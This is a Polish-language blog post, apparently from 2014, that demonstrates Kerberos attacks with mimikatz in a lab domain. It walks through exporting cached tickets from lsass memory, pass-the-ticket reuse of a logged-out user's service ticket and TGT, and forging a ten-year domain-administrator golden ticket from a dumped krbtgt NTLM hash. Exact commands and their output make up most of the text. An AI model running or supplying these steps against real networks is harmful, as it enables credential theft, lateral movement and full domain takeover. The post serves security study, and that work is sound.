Wracamy do zabaw z lsass i jednego z moich ulubionych narzędzi do zaglądania w trzewia tego stwora - mimikatz. Gdy na początku stycznia Benjamin pukał do mnie na gtalku, nie bardzo miałem głowę do rozmów o tym, nad czym aktualnie pracował, a co kilka dni temu ujrzało światło dzienne w postaci najnowszej wersji mimikatz. Teraz widzę, że czasu nie marnował i o tym właśnie kilka poniższych słów.
Dotychczasowe nasze zabawy z lsass skupiały się wokół haseł, które poniewierają się po pamięci lsass w postaci niemal jawnego tekstu i są łatwe do wydobycia. Dziś o kerberosie.
Na wstępie polecam obejrzenie rewelacyjnej sesji Tomka Onyszko z MTS 2009 o rozwiązywaniu problemów z Kerberosem, dzięki czemu każdy będzie w stanie odświeżyć sobie swoją wiedzę i przypomnieć podstawowe fakty dotyczące kluczy.
Scenariusz 1: Dostęp do usług
Wyobraźmy sobie sytuację, w której user domenowy user1@test.local pracujący na stacja1 przegląda zawartość zasobu \\serwer1\share1. Następnie user1 wylogowuje się, a po nim loguje się lokalny administrator localadmin1 (lub jakakolwiek inna osoba, która ma dostęp do pamięci procesu lsass.exe) i próbuje się dostać do zasobu na \\serwer1\share1
>dir \\serwer1\share1
Błąd logowania: nieznana nazwa użytkownika lub nieprawidłowe hasło.
Sprawdzamy jeszcze listę kluczy dla bieżącej sesji
>klist
Bieżący identyfikator logowania to 0:0x49dbbdc
Bilety buforowane: (0)
Jak się okazuje, klucze dla sesji wylogowanego wcześniej użytkownika dalej tkwią w pamięci i wystarczy tylko po nie sięgnąć. Ściągamy najnowsze źródła mimikatz, przekompilowujemy i sięgamy do lsass
>mimikatz.exe
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jan 17 2014 20:13:37)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 14 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export
InfoErr
Authentication Id : 0 ; 80776952 (00000000:049dbbdc)
Session : Interactive from 7
User Name : localadmin
Domain : STACJA1
Tickets group 0
Tickets group 1
Tickets group 2
Authentication Id : 0 ; 79778267 (00000000:04c151db)
Session : Interactive from 6
User Name : user1
Domain : TEST
Tickets group 0
[00000000]
Start/End/MaxRenew: 2014-01-20 19:47:24 ; 2014-01-21 05:46:20 ; 2014-01-27 19:46:20
Service Name (02) : cifs ; serwer1.test.local ; @ TEST.LOCAL
Target Name (02) : cifs ; serwer1.test.local ; @ TEST.LOCAL
Client Name (01) : user1 ; @ TEST.LOCAL
Flags 40a00000 : pre_authent ; renewable ; forwardable ;
Session Key (12) : d2 dc 32 71 ca 01 a8 07 6a 8c 87 bc 2f 4e 63 9c 5b 3b a6 6b c7 b5 32 b8 b3 02 83 c3 2f a2 2c 84
Ticket (25 - 12) : [...]
* Saved to file [0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi !
[CIAP]
Mając plik [0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi, możemy zaimportować klucz do pamięci lsass dla bieżącej sesji lokalnego admina.
mimikatz # kerberos::ptt [0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi
Ticket '[0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi' successfully submitted for current session
Sprawdzamy dostęp do share’a:
>dir \\serwer1\share1
Wolumin w stacji \\serwer1\share1 to SHARE1.
Numer seryjny woluminu: F81B-5837
Katalog: \\serwer1\share1
2014-01-20 15:58 <DIR> Katalog1
[CIAP]
A zatem lokalny admin ma teraz dostęp do zasobu. Sprawdźmy jeszcze listę kluczy
>klist
Bieżący identyfikator logowania to 0:0x49dbbdc
Bilety buforowane: (1)
#0> Klient: user1 w TEST.LOCAL
Serwer: cifs/SERWER1.test.local w TEST.LOCAL
Typ szyfrowania biletu Kerberos: AES-256-CTS-HMAC-SHA1-96
Flagi biletów 0x40a00000 -> forwardable renewable pre_authent
Godz. rozpoczęcia: 1/20/2014 19:47:24 (lokalne)
Godz. zakończenia: 1/21/2014 5:46:20 (lokalne)
Godz. odnowienia: 1/27/2014 19:46:20 (lokalne)
Typ klucza sesji: AES-256-CTS-HMAC-SHA1-96
Spróbujmy teraz dostać się do zasobu na innym serwerze w domenie
>dir \\serwer2\share1
Błąd logowania: nieznana nazwa użytkownika lub nieprawidłowe hasło.
Scenariusz 2: TGT
Mając klucz dla jednej usługi nie mamy dostępu do wszystkich innych usług - każda z usług będzie wymagała osobnego TGS. Gdy jednak przyjrzymy się liście kluczy wyeksportowanych w poprzednim scenariuszu, to nietrudno znajdziemy np. [0;4c151db]-2-0-60a00000-user1@krbtgt-TEST.LOCAL.kirbi, w którym znajduje się TGT dla użytkownika user1. Po imporcie tego klucza do lokalnej sesji nasz pęczek kluczy będzie wyglądał następująco:
>klist
Bieżący identyfikator logowania to 0:0x49dbbdc
Bilety buforowane: (2)
#0> Klient: user1 w TEST.LOCAL
Serwer: krbtgt/TEST.LOCAL w TEST.LOCAL
Typ szyfrowania biletu Kerberos: AES-256-CTS-HMAC-SHA1-96
Flagi biletów 0x40e00000 -> forwardable renewable initial pre_authent
Godz. rozpoczęcia: 1/20/2014 17:58:18 (lokalne)
Godz. zakończenia: 1/21/2014 3:58:18 (lokalne)
Godz. odnowienia: 1/27/2014 17:58:18 (lokalne)
Typ klucza sesji: AES-256-CTS-HMAC-SHA1-96
#1> Klient: user1 w TEST.LOCAL
Serwer: cifs/SERWER1.test.local w TEST.LOCAL
Typ szyfrowania biletu Kerberos: AES-256-CTS-HMAC-SHA1-96
Flagi biletów 0x40a00000 -> forwardable renewable pre_authent
Godz. rozpoczęcia: 1/20/2014 19:47:24 (lokalne)
Godz. zakończenia: 1/21/2014 5:46:20 (lokalne)
Godz. odnowienia: 1/27/2014 19:46:20 (lokalne)
Typ klucza sesji: AES-256-CTS-HMAC-SHA1-96
i otwieramy sobie drogę do wszystkich usług, do których miał dostęp user1, np.:
>dir \\serwer2\share1
2014-01-20 15:58 <DIR> Katalog1NaSerwer2
Import pliku wykonujemy tak, jak poprzednio, dlatego nie będę się powtarzał.
Scenariusz 3. "Golden ticket"
W najnowszej wersji mimikatz oferuje również 'golden tickets', czyli usługę pozwalającą na samodzielne generowanie kluczy. All you need is hash :) A dokładniej - ntlm hash hasła dla konta krbtgt, które - o ile się nie mylę - nigdy się nie zmienia. Hash możemy wygrzebać z bazy sam kontrolera domeny, np. przy pomocy mimikatz :)
>mimikatz.exe
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jan 17 2014 20:13:37)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 14 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::samrpc /patch
insideDomain : TEST
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 01234567890123456789012345678901
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 6aa0233756172c24df5e9797117d118b
[CIAP]
Drobna uwaga: przy większej liczbie kont warto skorzystać z log {file}, log /stop
Mając hash możemy generować samodzielnie klucze:
mimikatz # kerberos::golden /admin:Administrator /domain:test.local /sid:S-1-5-21-0123456789-9876543210-0987612345 /krbtgt:6aa0233756172c24df5e9797117d118b /ticket:test.local.kirbi
Admin : Administrator
Domain : test.local
SID : S-1-5-21-0123456789-9876543210-0987612345
krbtgt : 6aa0233756172c24df5e9797117d118b
Ticket : test.local.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
W bieżącym katalogu mamy plik test.local.kirbi, który możemy użyć gdziekolwiek do generowania własnych kluczy. Zalogujmy się znowu jako lokalny administrator na dowolnej stacji (niech tym razem będzie to STACJA2) i zaimportujmy tak przygotowany klucz:
mimikatz # kerberos::ptt test.local.kirbi
Ticket 'test.local.kirbi' successfully submitted for current session
mimikatz # kerberos::list
[00000000] - 17
Start/End/MaxRenew: 2014-01-20 19:29:31 ; 2024-01-20 19:29:31 ; 2034-01-20 19:29:31
Server Name : krbtgt/test.local @ test.local
Client Name : Administrator @ test.local
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
Zauważmy, że klucz mamy wystawiony na najbliższe 10 lat, co daje nam sporo czasu na korzystanie z różnych usług. Oczywiście wszystkie usługi domenowe są dla nas dostępne bez żadnych ograniczeń - jesteśmy Administratorem domeny (SID usera + group membership Benjamin zahardkodował na domain admina w funkcji kuhl_m_kerberos_golden_data)
Nie muszę chyba pisać, że wszystkie powyższe operacje działają również na dumpach, więc _pilnuj swego dumpa_ :)